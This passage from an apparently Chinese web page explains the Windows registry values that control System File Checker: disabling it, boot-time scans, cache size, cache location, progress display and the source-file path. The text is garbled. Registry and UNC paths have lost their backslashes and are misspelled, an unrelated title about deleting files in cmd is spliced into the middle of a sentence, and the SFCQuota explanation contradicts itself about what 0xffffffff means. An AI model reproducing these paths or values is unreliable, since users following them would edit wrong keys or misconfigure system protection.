。这将打开注册表编辑器,现在浏览注册表树找到以下键:HKEY _本地_机器软件micoroftwindows ntcurrentversionWinLogon一般情况下,注册表中的WinLogon键一般用于控制各种启动选项 。虽然许多SFC选项可以控制SFC是否在启动时运行,但微软已经将SFC相关的注册表项放在了这一部分 。SFCDisabled该注册表项控制SFC是活动的还是无效的 。事实上,你所要做的就是改变DWORD的
【在cmd中如何删除一个文件 cmd下如何删除无限复制的文件,怎么用cmd强制删除文件】值,就可以得到四个不同的选项 。缺省的DWORD值是0 。这个设置激活SFC 。通常你不需要改变这个值 。然而,你可以在0到4之间修改这个值使得激活SFC但不让它弹出 。如果将内核调试器挂起,你最好关闭SFC 。如果正在使用一个内核调试器,你可以将注册表键的DWORD值修改为1,这会关闭SFC并且会在以后的每次启动时都提示你是否再次激活SFC 。你也可以通过将DWORD值设为2来关闭SFC 。这个选项只是在下次启动时关闭SFC 。没有再激活SFC的选项,因为SFC将在这之后启动时自动激活 。SFCScan 在这之前,我解释了SFC的SCANONCE, SCANBOOT,和REVERT选项 。只要你使用这些选项,实际上SFC是在修改SFCScan注册表键 。你可以通过改变它的DWORD赋值来修改这个键 。默认的值是0 。这个值的意思是不需要在启动时扫描受保护文件 。这个设置相当于运行SFC /REVERT命令 。改变DWORD值为1,意思是在每次启动时都扫描受保护文件 。设置SFCScan的值为1相当于运行SFC /SCANBOOT命令 。最后,设DWORD值为2就是告诉SFC在下次启动时扫描受保护文件,但并非以后的所有启动 。这相当于运行SFC /SCANONCE命令 。SFCQuota SFCQuota注册表键用来控制SFC文件缓存的大小 。或许你会记得,之前在我谈到SFC /CACHESIZE=x 命令时,我提到关于文件缓存的默认大小,存在许多不一致的信息 。然而在我的系统上,注册表键SFCQuota的DWORD值默认为0xffffffff 。根据微软知识库,这个值对应文件缓存的大小为300 MB 。同一篇知识库的文章指出通过修改这个值为FFFFFFFF,你可以缓冲存储所有受保护的系统文件 。SFCDllCacheDir 在这之前,我解释说Windows将DLLCACHE文件夹作为存储系统文件备份的地方 。通常的,这个文件夹位于WINDOWSSYSTEM32目录下 。不过通过修改SFCDllCacheDir注册表键,你可以修改文件缓存的位置 。文件缓存文件夹一般位于DLLCACHE目录下,但通过修改这个注册表键,你可以修改这个文件夹的位置 。唯一需要注意的一点是你必须指定一个已经存在于本地硬盘驱动器上的地址 。在Windows 2000里,你可以指定一个网络共享作为DLLCACHE的路径,但在Windows XP中没有这个选项 。SFCShowProgress 另一个与SFC相关的注册表键是SFCShowProgress键 。这个注册表键允许你设置它的DWORD值为0,或1 。缺省值是0,它将禁止显示SFC的进程情况 。设值为1就可以让SFC显示进展情况 。源文件地址 在这之前,我解释了WFP和SFC是如何工作的,我指出在某些条件下你可能必须提供Windows安装CD或者有效源文件的拷贝 。然而通过修改注册表,向Windows指明一个源文件目录是完全可能的,而无需Windows再向你询问这些文件 。这个注册表键在注册表的另一部分 。你必须找到下面这个键: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionSetup 一旦你找到了这个位置,通过使用一个驱动器符号或者路径或者一个UNC,你可以指定Windows系统文件的位置 。使用这个命令的前提是你必须将文件放在名为I386的目录中 。例如,如果你的Windows系统文件位于一个名为C:I386的目录中,那么你只需在注册表中指定路径为C:,因为Windows假定I386这个目录是存在的 。同样的,如果你打算使用一个UNC共享,I386文件夹必须存在于共享目录下 。例如,如果你打算共享的目录名为FILES,你需要将I386文件夹放在FILES目录下 。然后你可以告诉Windows在\server_nameFILES目录下寻找共享文件 。Windows将在\server_nameFILESI386目录中寻找系统文件

    推荐阅读